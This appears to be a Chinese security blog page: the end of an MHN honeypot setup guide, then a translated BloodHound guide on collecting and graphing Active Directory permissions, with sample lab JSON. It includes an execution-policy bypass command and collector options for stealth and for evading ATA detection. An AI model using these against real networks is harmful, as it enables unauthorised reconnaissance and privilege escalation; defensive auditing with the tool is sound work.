zxvf mhn-backup.tar.gz cp /opt/mhn/server/mhn.db /opt/mhn/server/mhn.db service mongod start dump.sh脚本: for FILE in dump/mnemosyne/*.bson; do mongorestore --drop --db mnemosyne "$FILE" done for FILE in dump/hpfeeds/*.bson; do mongorestore --drop --db hpfeeds "$FILE" done supervisorctl start all 0x06 总结 使用 蜜罐可以存在于各种场景之中(机房、内网、云环境); 蜜罐产品的思考应该是在防火墙、入侵检测之后,属于提高企业安全水平的辅助产品; 蜜罐主要部署在企业内网,起到预警与了解攻击中入侵的情况的作用,如:发现员工PC中毒对内网的入侵、转移攻击者注意力等等; 蜜罐不能设置的太过简单,也不能设置太过复杂; 优点 内置集成大量的蜜罐系统,且提供一键部署蜜罐的方式; 支持蜜罐攻击效果图展示,与ArcSight或Splunk集成友好; 缺点 部署时间需要很长时间(不算缺点吧,网速给力情况下不存在这个问题); 不支持对蜜罐的集中管理; 0x07 参考资料 Build Your Own Honeypot Network In Under An Hour https://www.cnblogs.com/Eleven-Liu/p/9284417.html https://libraries.io/github/threatstream/mhn https://github.com/threatstream/mhn/
-
BloodHound官方使用指南
0x00 概观1.BloodHound介绍BloodHound是一种单页的JavaScript的Web应用程序,构建在Linkurious上,用Electron编译,NEO4J数据库是PowerShell/C# ingestor. BloodHound使用可视化图来显示Active Directory环境中隐藏的和相关联的主机内容。攻击者可以使用BloodHound轻松识别高度复杂的攻击路径,否则很难快速识别。防御者可以使用BloodHound来识别和防御那些相同的攻击路径。蓝队和红队都可以使用BloodHound轻松深入了解Active Directory环境中的权限关系。 BloodHound是由@ _wald0,@CptJesus,@ harmj0y共同开发。 2.入门基础BloodHound入门非常简单。完成后,请转到数据收集部分以开始收集数据,或使用BloodHound查看包含的数据库。 (1).windows此视频演示了NEO4J设置的过程:https://youtu.be/o22emeubrnk Neo4j需要Java环境,因此请确保您运行的是最新版本的Java。 转到neo4j.com/download并点击"下载服务器(Download Server)” 下载当前版本的neo4j Server for Windows,选择32位或64位。 解压缩在步骤4中下载的zip文件夹的内容。 打开以管理员身份运行的cmd.exe,然后转到您在步骤4中解压缩到的文件夹。 CD到bin目录下,并通过运行安装neo4j作为服务: neo4j.bat install-service 下载/克隆BloodHound GitHub repo,然后将BloodHoundExampleDB.graphdb复制到data\databasesneo4j目录下的文件夹中。 在cmd.exe中,返回一个目录,然后cd 到conf目录下。打开neo4j.conf,取消对行dbms.active_database=graph.db的注释。更改此行,使其显示为dbms.active_database=bloodhoundsexampledb.graphdb。另外,取消对行dbms.allow_upgrade=true的注释,使其显示为dbms.allow_upgrade=true,然后保存此文件。 进入到cmd.exe并通过输入:neo4j net start neo4j 通过在浏览器中打开http://localhost:7474/来验证NEO4J是否正在运行。NEO4J Web控制台应该正常显示。 从此处下载到的版本运行BloodHound.exe 或从源代码编译BloodHound。 在bolt://localhost:7687上对提供的示例图形数据库进行身份验证。用户名是“neo4j”,密码是“BloodHound”。 您现在可以开始收集数据! (2).Linux有关在Linux上设置BloodHound的更好说明,请参阅此博客文章:https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/ 下载并安装neo4j社区版。 可选:如果您计划在不同主机上运行neo4j和PowerShell接收程序,请将REST API配置为接受远程连接。 克隆BloodHound Github repo git clone https://github.com/adaptivethreat/Bloodhound 启动neo4j服务器,将NEO4J指向提供的示例图形数据库。 从此处找到的相应版本运行BloodHound 或从源代码编译BloodHound。 ./BloodHound 通过bolt://localhost:7687上提供的示例图形数据库的身份验证。用户名是“neo4j”,密码是“BloodHound” 您现在可以开始收集数据! (3).KALI1.确保是最新系统,同过执行以下命令更新系统apt-get updateapt-get dist-upgrade2.安装Bloodhound只需运行以下命令即可。Bloodhound依赖于neo4j,因此也将被安装。apt-get install bloodhound 3.更改Neo4j的默认密码neo4j console 4.现在在http://localhost:7474上有一个远程接口。通过浏览器打开此URL链接地址,然后更改默认密码。您还将看到它在localhost上启用了Bolt,在以后会用到它。 5.使用默认凭据登录(如下),然后将要求您更改密码: 用户名:neo4j密码:neo4j 继续完成密码更改后,并关闭浏览器窗口。 6.弹出一个新的终端窗口打开并运行以下命令启动Bloodhound。 bloodhound 正如您所看到的,Bloodhound现在正在运行并等待一些用户输入。在发布Neo4j之前,它还启用了Bolt on bolt://127.0.0.1:7687。您需要将其用作数据库URL。 数据库URL - bolt://127.0.0.1:7687用户名 - neo4j密码 - 您新更改的密码点击登录,你应该看到Bloodhound工具删除了数据。您现在可以导入数据并进行分析。 (4).OSX下载并安装neo4j社区版。 可选:如果您计划在不同主机上运行neo4j和PowerShell接收程序,请将REST API配置为接受远程连接。 克隆BloodHound Github repo git clone https://github.com/adaptivethreat/Bloodhound 启动neo4j服务器,将NEO4J指向提供的示例图形数据库。 从此处找到相应的版本运行BloodHound应用程序或从源代码编译BloodHound。 通过bolt://localhost:7687上提供的示例图形数据库的身份验证。用户名是“neo4j”,密码是“BloodHound”您现在可以开始收集数据! 3.源码编译BloodHound(1).windows安装NodeJS 安装 electron-packager npm install -g electron-packager 克隆BloodHound GitHub repo git clone https://github.com/adaptivethreat/Bloodhound 从根目录BloodHound中运行'npm install'命令 npm install 使用'npm run winbuild'命令编译BloodHound npm run winbuild (2).Linux安装NodeJS 安装 electron-packager sudo npm install -g electron-packager 克隆BloodHound GitHub repo git clone https://github.com/adaptivethreat/Bloodhound 从根目录BloodHound中运行'npm install'命令 npm install 使用'npm run winbuild'命令编译BloodHound npm run linuxbuild (3).OSX安装NodeJS 安装 electron-packager sudo npm install -g electron-packager 克隆BloodHound GitHub repo git clone https://github.com/adaptivethreat/Bloodhound 从根目录BloodHound中运行'npm install'命令 sudo npm install 使用'npm run winbuild'命令编译BloodHound npm run macbuild 4.运行BloodHound的开发版本安装Node.js 克隆BloodHound GitHub repo git clone https://github.com/adaptivethreat/Bloodhound 从根目录BloodHound中运行'npm install'命令' npm install 使用'npm run dev'命令运行开发版本服务器 npm run dev 使用Ctrl + R完成WebPack编译后,刷新electron窗口 0x02 数据采集1.介绍BloodHound需要来自Active Directory环境的三条信息才能运行: 谁在哪里登录?谁拥有管理权限? 哪些用户和组属于哪些组?(可选)哪些主体可以控制其他用户和组对象?在大多数情况下,收集此信息不需要管理员权限,也不需要在远程系统上执行代码。基于PowerView的PowerShell摄取器使数据收集变得快速而简单。ingestor(采集器)位于 BloodHound repo下的ingestor目录下。 收集器收集许多额外的数据,这些数据提供了更多路径,以及节点属性以方便使用。 (1).PowerShell执行策略默认情况下,PowerShell不允许执行PowerShell脚本;但是,在大多数情况下,绕过此限制非常简单。通常,通过运行以下命令,您可以在不受此限制的情况下输入PowerShell执行命令: PS C:\> PowerShell -Exec Bypass 有关更多选项,请参阅NetSPI上的这篇精彩博文,其中介绍了绕过PowerShell执行策略的15种不同方法。 (2).数据采集使用BloodHound接口完成数据采集。该接口支持上传带有数据的zip文件,以及单个JSON文件 。 通过BloodHound接口采集JSON 2.数据收集器(1).SharpHound - C#IngestorBloodHound现在包括一个完全自定义的C#采集器,从头开始编写以支持采集任务。有两个选项可以使用采集器,可执行文件和PowerShell脚本的选项。两个采集器都支持相同的选项集。运行PowerShell版本的命令是Invoke-BloodHound。与所有PowerShell脚本一样,它必须在没有执行策略限制的PowerShell运行环境中运行。有关绕过执行策略运行PowerShell的详细信息,请参阅NetSPI的此博客文章。 有关详细信息,包括标志和新功能,请参阅此处的博客文章。 Invoke-BloodHound (2).基本用法Invoke-BloodHound执行填充后端BloodHound数据库所需的集合选项。如果未指定任何选项,则默认情况下,它将收集所有展开的组成员身份信息,所有可访问的域信任信息,并将收集所有可从当前域访问的计算机上的会话/本地管理员数据。所有数据都将导出到当前目录中的JSON文件中。。*-JSONFolder C:\Temp*参数将修改文件输出到的文件夹,并且 -jsonprefix domainx将指定的标志添加到每个输出文件的开头。 对于没有登录域的用户会话数据,默认情况下,全局编录用于尝试解除冲突用户可能所在的域。如果用户存在于林中的多个域中,则使用一系列权重进行修改攻击路径的可能性。如果要跳过此全局编目冲突方法,请指定-skipgcdeconfliction标志 (3).收集器选项枚举选项 CollectionMethod - 要使用的集合方法。此参数接受以逗号分隔的值列表。具有以下默认值(Default: Default):Default - 执行组成员身份收集、域信任收集、本地管理收集和会话收集Group- 执行组成员身份集合LocalGroup - 执行本地管理员集合RDP - 执行远程桌面用户集合DCOM - 执行分布式COM用户集合GPOLocalGroup - 使用组策略对象执行本地管理员收集Session- 执行会话收集ObjectProps - 为LastLogon或PwdLastSet等属性执行对象属性收集ComputerOnly - 执行本地管理员,RDP,DCOM和会话集合LoggedOn - 执行特权会话收集(需要目标系统上的管理员权限)Trusts - 执行域信任枚举ACL - 执行ACL的收集Container - 执行容器的收集DcOnly - 仅使用LDAP执行收集。包括Group,Trusts,ACL,ObjectProps,Container和GPOLocalGroup。All- 执行除GPOLocalGroup和LoggedOn之外的所有收集方法SearchForest - 搜索林中的所有域,而不仅仅是当前域Domain - 搜索特定域。如果为null,则使用当前域(默认值:null)Stealth - 执行隐藏收集方法。所有隐藏选项都是单线程的。SkipGCDeconfliction - 会话枚举期间跳过全局编录取消冲突。这可以加快枚举速度,但会导致数据可能不准确。ExcludeDc - 从枚举中排除域控制器(避免使用Microsoft ATA标志:)ComputerFile - 指定要从中加载计算机名称/ IP的文件OU - 指定要枚举的OU连接选项DomainController - 指定要连接的域控制器(默认值:null)LdapPort - 指定LDAP所在的端口(默认值:0)SecureLdap - 使用安全LDAP而不是常规LDAP连接到AD。默认情况下将连接到端口636。IgnoreLdapCert - 忽略LDAP SSL证书。例如,如果存在自签名证书,则使用LDAPUser - 用于连接LDAP的用户名。还需要LDAPPassword参数(默认值:null)LDAPPass - 用户连接LDAP的密码。还需要LDAPUser参数(默认值:null)DisableKerbSigning - 禁用LDAP加密。不推荐。性能选项Threads- 指定要使用的线程数(默认值:10)PingTimeout - 指定ping请求的超时(以毫秒为单位)(默认值:250)SkipPing - 指示Sharphound跳过ping请求以查看系统是否已启动LoopDelay - 会话循环之间的秒数(默认值:300)MaxLoopTime - 继续会话循环的时间值。格式为0d0h0m0s。Null值将会循环两个小时。(默认值:2h)Throttle - 在每次请求到计算机后添加延迟。值以毫秒为单位(默认值:0)Jitter - 为阀门值增加百分比 jitter。(默认值:0)输出选项JSONFolder - 存储json文件的文件夹(默认值: .)JSONPrefix - 要添加到JSON文件的前缀(默认值:“”)NoZip - 不要将JSON文件压缩到zip文件。将JSON文件存储在磁盘上。(默认值:false)EncryptZip - 将随机生成的密码添加到zip文件中。ZipFileName - 指定zip文件的名称RandomFilenames -随机输出文件名PrettyJson - 在多行上输出带缩进的JSON以提高可读性。权衡是增加文件大小。缓存选项CacheFile - Sharphound缓存的文件名。(默认值:BloodHound.bin)NoSaveCache - 不要将缓存文件存储到磁盘上。如果没有此标志,BloodHound.bin将从磁盘中被删除Invalidate --使缓存文件无效并生成新缓存杂项选项StatusInterval - 枚举期间显示进度的间隔(以毫秒为单位)(默认值:30000)详细 - 启用详细输出3.JSON采集SharpHound默认在Zip文件中输出几个JSON文件。BloodHound界面支持单个文件以及Zip文件。上传数据的最简单方法是将文件拖放到用户界面上除节点显示选项卡之外的任何位置。 4.基于Python的BloodHound采集器BloodHound.py是一个基于Python的BloodHound 采集器,基于Impacket。 此版本的BloodHound 仅与BloodHound 2.0或更新版本兼容。 (1).限制BloodHound.py目前有以下限制: 尚不支持所有BloodHound(SharpHound)功能(有关支持的收集方法,请参阅下面的内容)Kerberos支持尚未完成尚未实现跨林成员身份解析(2).安装和使用您可以通过pip命令:pip install bloodhound来进行安装,或者通过克隆此存储库并运行python setup.py install或使用 pip install .. BloodHound.py 来安装。BloodHound.p需要impacket、ldap3和dnspython模块才能正常运行 安装将向您的路径中添加命令行工具bloodhound-python。 要使用bloodhound-采集器,您至少需要登录域的凭据。您需要使用此域的用户名(或受信任域中的用户的username@domain)指定-u选项。如果您的DNS设置正确,并且AD域在您的DNS搜索列表中,那么bloodhound.py将自动为您检测该域。如果没有,则必须使用-d选项手动指定它 默认情况下,bloodhound.py将查询LDAP和域中的各个计算机,以枚举用户、计算机、组、信任、会话和本地管理员。如果要限制收集,请指定--collectionmethod参数,该参数支持以下选项(类似于sharphound): Default -本地管理员集合和会话集合 执行组成员身份收集、域信任收集、本地管理收集和会话收集Group - 执行组成员身份收集LocalAdmin - 执行本地管理员收集 Session - 执行会话收集 Acl - 执行acl收集Trusts - 执行域信任枚举LoggedOn - 执行特权会话枚举(需要目标上的本地管理员)ObjectProps - 为LastLogon或PwdLastSet等属性执行对象属性集合 All - 运行上述所有方法,LoggedOn除外 muliple集合方法应以逗号分隔,例如:-c group,localadmin 您可以覆盖某些自动检测选项,例如,如果要使用其他域控制器,则使用-dc指定主域控制器的主机名,或者使用-gc指定自己的全局编录。 0x03 界面使用1.界面介绍BloodHound界面设计直观,操作重点突出。因为BloodHound是以Electron应用程序编译的,所以它跨平台的,可在Windows,OSX和Linux上运行。 (1).认证当您第一次打开BloodHound时,会收到登录提示: “Database URL”是NEO4J数据库运行的IP地址和端口,格式应为bolt://ip:7687 DB Username是为NEO4J的数据库的用户名。NEO4J数据库的默认用户名是NEO4J DB Password 是NEO4J数据库的密码。NEO4J数据库的默认密码是NEO4J。提供的示例数据库的密码是BloodHound (2).概观成功登录后,BloodHound将在其名称中绘制名为“Domain Admins”的任何组,并向您显示属于该组的有效用户: 上图中,BloodHound界面分为5个部分: 菜单和搜索栏图形绘制区域设置放大/缩小并重置初始密码查询(3).菜单和搜索栏 搜索栏和菜单旨在直观且以操作为重点。左上角的三行将切换“数据库信息”,“节点信息”和“查询”选项卡的下拉列表。 “数据库信息”选项卡显示有关当前加载的数据库的基本信息,包括用户、计算机、组和关系(或边)的数量。您还可以在这里执行基本的数据库管理功能,包括注销和切换数据库,以及清除(读取:从中删除所有信息)当前加载的数据库(注意!) “节点信息”选项卡将显示有关您在图表中单击的节点的信息。 “查询”选项卡将显示我们在BloodHound中包含的预建查询,以及您可以自己构建其他查询。稍后将提供有关此内容的更多信息。 (4).图形绘制区域这是BloodHound绘制节点和边缘的区域。按住ctrl键将循环显示三个选项以显示节点标签:Default Threshold, Always Show, Never Show.。可以单击并按住一个节点,将其拖动到其他点。您也可以单击一个节点,侦探犬将用该节点的信息填充“节点信息”选项卡。 (5).设置 刷新 - BloodHound将重新计算并重新绘制当前显示。 导出图表 - BloodHound可以将当前绘制的图形导出为JSON格式,或者导出为PNG。 导入图 表- BloodHound将以JSON格式绘制导入的图形。上传数据 - BloodHound将自动检测然后提取CSV格式的数据。有关此内容的更多信息,请参阅CSV提取。 更改布局类型 - 在分层(dagre)和强制导向图布局之间切换。 设置 - 改变节点折叠行为,并在低细节模式之间切换(6).放大/缩小并重置加号(+)将放大。减号(-)将缩小。中心图标会将图表重置为默认缩放。 (7).初始密码查询BloodHound您对当前加载的NEO4J数据库运行自定义密码查询。有关此主题的更多信息,请参阅Cypher查询语言。 2.用户单击计算机节点将在“ Node Info”选项卡中填充有关该计算机的信息: (1).节点信息-Name:这是节点的名称,采用域简单格式。 - SAMAccountName:这是用户的SAMAccountName。此信息目前不是由接收程序收集的。 - Display Name:这是用户的Windows显示名称。此信息目前不是由接收程序收集的。 -Password Last Changed:这是用户密码上次更改的日期。此信息目前不是由接收程序收集的。 - Sessions:这些是接收程序在收集期间标识用户登录的所有计算机 (2).组成员身份- First Degree Group Memberships:这些组是用户显式成员的组。这是输入命令net user username /domain 时看到的信息 - Unrolled Group Memberships: 这些都是用户有效的组成员身份。这相当于运行Get-NetGroup -User username的信息 - Foreign Group Memberships:这些是用户所属的所有外部组 (3).本地管理员权利- First Degree Local Admin: 这些计算机明确地将用户本身添加为系统上的本地管理员 - Group Delegated Local Admin Rights: 这些是用户根据委派的组权限获得管理员权限的计算机 - Derivative Local Admin Rights:: 这些是用户可以通过模拟当前使用具有管理员权限的计算机的用户来获得管理员权限的计算机,而不管链接的深度如何 (4).出站对象控制-First Degree Object Control::这些是用户直接控制的其他对象 - Group Delegated Object Control:这些是此用户通过安全组委派控制的对象。 -Transitive Object Control:这些用户具有仅ACL的攻击路径的对象。 (5).入站对象控制 - Explicit Object Controllers:对该用户具有一级控制权的其他主体。 - Unrolled Object Controllers:通过展开控制此用户的一级组,我们可以看到通过安全组委派控制此对象的所有有效主体 - Transitive Object Controllers:这些是环境中具有此用户对象的仅ACL攻击路径的其他主体。 3.计算机单击计算机节点将在“ Node Info”选项卡中填充有关该计算机的信息: (1).节点信息- Name:这是节点的名称,采用完全限定格式。 - OS:计算机的操作系统。此信息目前不是由接收程序收集的。 - Allows Unconstrained Delegation:计算机是否允许无约束委派。此信息目前不是由接收程序收集的。 - Sessions: 这些是在数据收集过程中由接收程序识别的计算机上的用户会话。 (2).本地管理员- Explicit Admins:这些是在系统上具有本地管理员权限的显式用户和组。这相当于在主机上运行命令net localgroup administrators - Unrolled Admins:这些是对系统具有管理员权限的所有有效组和用户。这相当于运行命令get netlocalgroup-computername computername-recurse - Derivative Local Admins:这些是具有计算机衍生管理风格攻击路径的所有有效组和用户 (3).组成员身份- First Degree Group Membership:这些是计算机所属的组。 - Unrolled Group Memberships: 这些都是计算机拥有的有效组成员身份。 - Foreign Group Memberships::这些是计算机所属的所有外部组。 (4).本地管理员权限- First Degree Local Admin:这些计算机对象在系统上显式添加为本地管理员的计算机。 - Group Delegated Local Admin Rights::这些是计算机根据委派的组权限获得管理员权限的计算机。 - Derivative Local Admin Rights:这些是计算机可以通过冒充当前使用用户具有管理员权限的计算机的用户获得管理员权限的计算机,无论此链接的深度如何。 (5).出站对象控制- First Degree Object Control::这些是此计算机可直接控制的其他对象。 - Group Delegated Object Control:这些是此计算机通过安全组委派控制的对象。 -Transitive Object Control:这些是此计算机具有仅ACL的攻击路径的对象。 4.组单击计算机节点将在“ Node Info”填充有关该组的信息 (1).节点信息- Name::组的显示名称。 - Sessions:这些是接收程序在收集过程中识别出该组的有效用户登录的所有计算机 (2).组成员- Direct Members: 这些是显式添加到此组的用户和组。这是输入命令 net group groupname/domain时看到的信息 - Unrolled Members::这些都是组的有效组成员身份。这相当于运行命令get netgroup-groupname groupname-recurse - Foreign Members::这些属于该组的用户本身属于外部域 (3).组成员身份- First Degree Group Memberships:这些是属于此组的用户,它们自己属于外部域 - Unrolled Group Memberships:这些都是组中有效的组成员身份 - Foreign Group Memberships:: 这些是组所属的所有外部组。 (4).本地管理员权限- First Degree Local Admin:这些是将组本身明确添加为系统本地管理员的计算机。 -Group Delegated Local Admin Rights:这些是用户组管理员根据委派的组权限进行权限的计算机。 这些是用户组管理员根据委派的组权限授予的计算机。 - Derivative Local Admin Rights::这些是该组可以通过冒充当前使用用户具有管理员权限的计算机的用户获得管理员权限的计算机,无论此链接的深度如何。 这些是组可以通过模拟当前使用用户具有管理员权限的计算机的用户来获得管理员权限的计算机,而不管链接的深度如何 (5).出站对象控制- First Degree Object Control::这些是此计算机可直接控制的其他对象。 - Group Delegated Object Control:这些是此计算机通过安全组委派控制的对象。 -Transitive Object Control:这些是此计算机具有仅ACL的攻击路径的对象。 (6).入站对象控制- Explicit Object Controllers:对该组具有一级控制权的其他主体。 -Unrolled Object Controllers: 通过展开控制此组的一级组,我们可以看到通过安全组委派控制此对象的所有有效主体 - Transitive Object Controllers::这些是环境中具有此组对象的仅ACL攻击路径的其他主体。 5.寻路径BloodHound中的寻路径的工作原理与您喜欢的图形软件中的工作方式类似。单击道路图标,将弹出“Target Node”文本框。 首先,指定“开始节点”。这可以是BloodHound图表中的任何类型的节点。BloodHound将为您自动完成此字段。 接下来,指定“目标节点”。同样,这可以是BloodHound图表中的任何类型的节点,BloodHound将为您自动完成此字段。 按“播放”按钮,如果存在此类路径,BloodHound将确定起始节点和目标节点之间的所有最短路径。然后,BloodHound将在图形绘制区域中显示路径 0x04 高级用法1.neo4j REST APINeo4j有一个RESTful API,可用于查询或修改BloodHound图。API支持事务性语句 默认情况下,端点位于http://localhost:7474/db/data/transaction/commit 必要的HTTP头Accept: application/json; charset=UTF-8 Content-Type: application/json Authorization: BASE64 ENCODED USERNAME:PASSWORDPOST Body{ "statements": [ { "statement": "CYPHER QUERY GOES HERE" } ] } CURL查询以获得[email protected]的本地管理员curl -X POST \ http://localhost:7474/db/data/transaction/commit \ -H 'accept: application/json; charset=UTF-8' \ -H 'authorization: BASE64 ENCODED USER:PASS' \ -H 'content-type: application/json' \ -d '{"statements": [{"statement": "MATCH (c:Computer) WHERE NOT c.name='\''[email protected]'\'' WITH c MATCH p = shortestPath((n:User {name:'\''[email protected]'\''})-[r:HasSession|AdminTo|MemberOf*1..]->(c)) RETURN count(p)"}]}' Python请求示例user = [email protected] statement = "MATCH p=(n:User {name:'%s'})-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(c:Computer) RETURN count(p)" % user headers = { "Accept": "application/json; charset=UTF-8", "Content-Type": "application/json", "Authorization": "BASE64 ENCODED USERNAME:PASSWORD" } data = {"statements": [{'statement': statement}]} url = 'http://localhost:7474/db/data/transaction/commit' r = requests.post(url=url,headers=headers,json=data) neo4j官方文档http://neo4j.com/docs/rest-docs/current/ neo4j HTTP REST API官方文档https://neo4j.com/docs/developer-manual/current/http-api 2.BloodHound JSON格式 SharpHound导出的数据存储在JSON文件中。有八个单独的JSON文件格式提供不同的数据。 基本JSON格式所有JSON文件都以元标记结尾,元标记包含文件中的对象数以及文件中的数据类型。实际数据存储在一个数组中,其中的值与元标记中的字符串相匹配。 { "users":[ { "name": "[email protected]" } ], "meta":{ "type" : "users", "count": 1 } } 可能的类型/对象格式是: usersgroupsouscomputersgposdomainsgpoadminssessions 对象格式users:"Name": "[email protected]", "PrimaryGroup": "DOMAIN [email protected]", "Properties": { "domain": "TESTLAB.LOCAL", "objectsid": "S-1-5-21-883232822-274137685-4173207997-500", "enabled": true, "lastlogon": 1532041405, "pwdlastset": 1531772261, "serviceprincipalnames": [], "hasspn": false, "displayname": null, "email": null, "title": null, "homedirectory": null, "description": "Built-in account for administering the computer/domain", "userpassword": "Password123!", "admincount": true }, "Aces": [ { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "Owner", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "GenericWrite", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "WriteOwner", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "WriteDacl", "AceType": "" }, { "PrincipalName": "ENTERPRISE [email protected]", "PrincipalType": "group", "RightName": "GenericWrite", "AceType": "" }, { "PrincipalName": "ENTERPRISE [email protected]", "PrincipalType": "group", "RightName": "WriteOwner", "AceType": "" }, { "PrincipalName": "ENTERPRISE [email protected]", "PrincipalType": "group", "RightName": "WriteDacl", "AceType": "" }, { "PrincipalName": "[email protected]", "PrincipalType": "group", "RightName": "GenericWrite", "AceType": "" }, { "PrincipalName": "[email protected]", "PrincipalType": "group", "RightName": "WriteOwner", "AceType": "" }, { "PrincipalName": "[email protected]", "PrincipalType": "group", "RightName": "WriteDacl", "AceType": "" } ], "AllowedToDelegate": [] computers"Name": "WINDOWS1.TESTLAB.LOCAL", "PrimaryGroup": "DOMAIN [email protected]", "Properties": { "objectsid": "S-1-5-21-883232822-274137685-4173207997-1106", "highvalue": false, "domain": "TESTLAB.LOCAL", "enabled": true, "unconstraineddelegation": false, "lastlogon": 1532094035, "pwdlastset": 1530133811, "serviceprincipalnames": [ "RestrictedKrbHost/WINDOWS1", "HOST/WINDOWS1", "RestrictedKrbHost/WINDOWS1.testlab.local", "HOST/WINDOWS1.testlab.local" ], "operatingsystem": "Windows 7 Ultimate N Service Pack 1", "description": null }, "LocalAdmins": [ { "Name": "DOMAIN [email protected]", "Type": "Group" }, { "Name": "[email protected]", "Type": "User" }, { "Name": "[email protected]", "Type": "User" } ], "RemoteDesktopUsers": [ { "Name": "[email protected]", "Type": "User" } ], "DcomUsers": [ { "Name": "[email protected]", "Type": "User" } ], "AllowedToDelegate": [] } groups:{ "Name": "SCHEMA [email protected]", "Properties": { "highvalue": false, "domain": "TESTLAB.LOCAL", "objectsid": "S-1-5-21-883232822-274137685-4173207997-518", "admincount": true, "description": "Designated administrators of the schema" }, "Aces": [ { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "Owner", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "GenericWrite", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "WriteOwner", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "WriteDacl", "AceType": "" }, { "PrincipalName": "ENTERPRISE [email protected]", "PrincipalType": "group", "RightName": "GenericWrite", "AceType": "" }, { "PrincipalName": "ENTERPRISE [email protected]", "PrincipalType": "group", "RightName": "WriteOwner", "AceType": "" }, { "PrincipalName": "ENTERPRISE [email protected]", "PrincipalType": "group", "RightName": "WriteDacl", "AceType": "" }, { "PrincipalName": "[email protected]", "PrincipalType": "group", "RightName": "GenericWrite", "AceType": "" }, { "PrincipalName": "[email protected]", "PrincipalType": "group", "RightName": "WriteOwner", "AceType": "" }, { "PrincipalName": "[email protected]", "PrincipalType": "group", "RightName": "WriteDacl", "AceType": "" } ], "Members": [ { "MemberName": "[email protected]", "MemberType": "user" }, { "MemberName": "[email protected]", "MemberType": "user" } ] } domains{ "Name": "TESTLAB.LOCAL", "Properties": { "objectsid": "S-1-5-21-883232822-274137685-4173207997", "highvalue": true, "description": null, "functionallevel": "2012 R2" }, "Links": [ { "IsEnforced": false, "Name": "[email protected]" }, { "IsEnforced": false, "Name": "DEFAULT DOMAIN [email protected]" } ], "Trusts": [ { "TargetName": "DEV.TESTLAB.LOCAL", "IsTransitive": true, "TrustDirection": 2, "TrustType": "ParentChild" }, { "TargetName": "EXTERNAL.LOCAL", "IsTransitive": true, "TrustDirection": 2, "TrustType": "External" } ], "Aces": [ { "PrincipalName": "[email protected]", "PrincipalType": "group", "RightName": "Owner", "AceType": "" }, { "PrincipalName": "ENTERPRISE READ-ONLY DOMAIN [email protected]", "PrincipalType": "group", "RightName": "ExtendedRight", "AceType": "GetChanges" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "ExtendedRight", "AceType": "GetChangesAll" }, { "PrincipalName": "[email protected]", "PrincipalType": "group", "RightName": "ExtendedRight", "AceType": "GetChanges" }, { "PrincipalName": "[email protected]", "PrincipalType": "group", "RightName": "ExtendedRight", "AceType": "GetChangesAll" }, { "PrincipalName": "ENTERPRISE DOMAIN [email protected]", "PrincipalType": "group", "RightName": "ExtendedRight", "AceType": "GetChanges" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "WriteOwner", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "WriteDacl", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "ExtendedRight", "AceType": "All" }, { "PrincipalName": "ENTERPRISE [email protected]", "PrincipalType": "group", "RightName": "GenericAll", "AceType": "" }, { "PrincipalName": "[email protected]", "PrincipalType": "group", "RightName": "WriteOwner", "AceType": "" }, { "PrincipalName": "[email protected]", "PrincipalType": "group", "RightName": "WriteDacl", "AceType": "" }, { "PrincipalName": "[email protected]", "PrincipalType": "group", "RightName": "ExtendedRight", "AceType": "All" } ], "ChildOus": ["357F42BA-7892-441B-8836-DC148D651F3F"], "Computers": [ "WINDOWS1.TESTLAB.LOCAL", "WINDOWS2.TESTLAB.LOCAL", "WINDOWS10.TESTLAB.LOCAL" ], "Users": [ "[email protected]", "[email protected]", "[email protected]", "[email protected]", "[email protected]", "[email protected]", "[email protected]", "[email protected]" ] } GPO:{ "Name": "DEFAULT DOMAIN [email protected]", "Properties": { "highvalue": false, "description": null, "gpcpath": "\\\\testlab.local\\sysvol\\testlab.local\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}" }, "Guid": "31B2F340-016D-11D2-945F-00C04FB984F9", "Aces": [ { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "Owner", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "WriteOwner", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "WriteDacl", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "WriteOwner", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "WriteDacl", "AceType": "" }, { "PrincipalName": "ENTERPRISE [email protected]", "PrincipalType": "group", "RightName": "WriteOwner", "AceType": "" }, { "PrincipalName": "ENTERPRISE [email protected]", "PrincipalType": "group", "RightName": "WriteDacl", "AceType": "" }, { "PrincipalName": "ENTERPRISE [email protected]", "PrincipalType": "group", "RightName": "WriteOwner", "AceType": "" }, { "PrincipalName": "ENTERPRISE [email protected]", "PrincipalType": "group", "RightName": "WriteDacl", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "WriteOwner", "AceType": "" }, { "PrincipalName": "DOMAIN [email protected]", "PrincipalType": "group", "RightName": "WriteDacl", "AceType": "" } ] } ous:{ "Guid": "357F42BA-7892-441B-8836-DC148D651F3F", "Properties": { "name": "DOMAIN [email protected]", "highvalue": false, "blocksinheritance": false, "description": "Default container for domain controllers" }, "ChildOus": [], "Computers": ["PRIMARY.TESTLAB.LOCAL"], "Users": [], "Links": [ { "IsEnforced": false, "Name": "DEFAULT DOMAIN CONTROLLERS [email protected]" } ] } sessions:{ "UserName": "[email protected]", "ComputerName": "WINDOWS1.TESTLAB.LOCAL", 